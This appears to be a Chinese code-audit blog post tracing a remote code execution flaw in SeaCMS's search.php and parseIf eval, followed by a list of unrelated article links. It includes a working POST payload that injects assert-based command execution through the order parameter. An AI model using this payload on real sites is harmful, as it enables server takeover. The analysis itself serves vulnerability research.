【代码审计】seacms 前台Getshell分析
2024-10-08 09:47:26
一、漏洞分析
漏洞触发点search.php 211-213行
跟进parseIf 函数 ./include/main.class.php
这里要注意 3118行的位置,可以看到未做任何处理的eval
二、触发条件
if(intval($searchtype)==5) if (strpos($content,'{if:')=== true) {if:(.*?)}(.*?){end if} if (strpos($strThen,$labelRule2)===false) if (strpos($strThen,$labelRule3)>=0){
三、构造POC
http://127.0.0.1/search.php?searchtype=5
POST:searchword=d&order=}{end if}{if:1)print_r($_POST[func]($_POST[cmd]));//}{end if}&func=assert&cmd=phpinfo();
1.preg_match_all($labelRule,$content,$iar); 进行匹配,将匹配的内容保存到$iar
如果是$strIf=$iar[0]; 则代表匹配整个的结果
$strIf=$iar[1][$m]; 这里匹配整个内容的第一个子组 1)print_r($_POST[func]($_POST[cmd]));//
2.
...
$labelRule2="{elseif";
...
if (strpos($strThen,$labelRule2)===false){
$strIf=$iar[2][$m]; 不能含有elseif,才可以进入下一个判断语句
3.因为我们构造的$strThen(其实就是$iar[2][$m]
)是空的,利用了strpos函数漏洞实现绕过了,然后没有其他操作我们就进入了eval那一句!
最终进入语句带代码
eval("if(1)print_r($_POST[func]($_POST[cmd]));//{$ifFlag=true;}else{$ifFlag=false;} ")
四、漏洞验证
最新文章
- JavaScript中reduce()方法
- Ubuntu命令--CURL用法
- 关于HTML5与移动开发
- 团队开发之《极速蜗牛》NABC分析
- JUnit 4 如何正确测试异常
- win7系统激活最简单方法
- 图片上传并显示(兼容ie),图片大小判断
- 嵌入式OS入门笔记-以RTX为案例:六.RTX的任务调度
- centos7安装并配置svn(转)
- 惊人go语言(image网站开发)
- 《JS权威指南学习总结--6.8对象的三个属性》
- JavaWeb 后端 <;十四>; 文件上传下载
- java反射机制(先马再看)
- Apache设置用户权限(2个域名。一个能访问全部文件,一个只能访问指定文件)
- 自定义Retrofit转化器Converter
- ionic3 添加多个自定义组件
- JavaScript中数组的应用
- node(基础三)_模块系统基础
- 编程语言的分类及其优缺点,Python标准输入与输出
- xdoj--1144 (合并模板)--有趣的优先队列(优先队列默认权值最大的数在前面)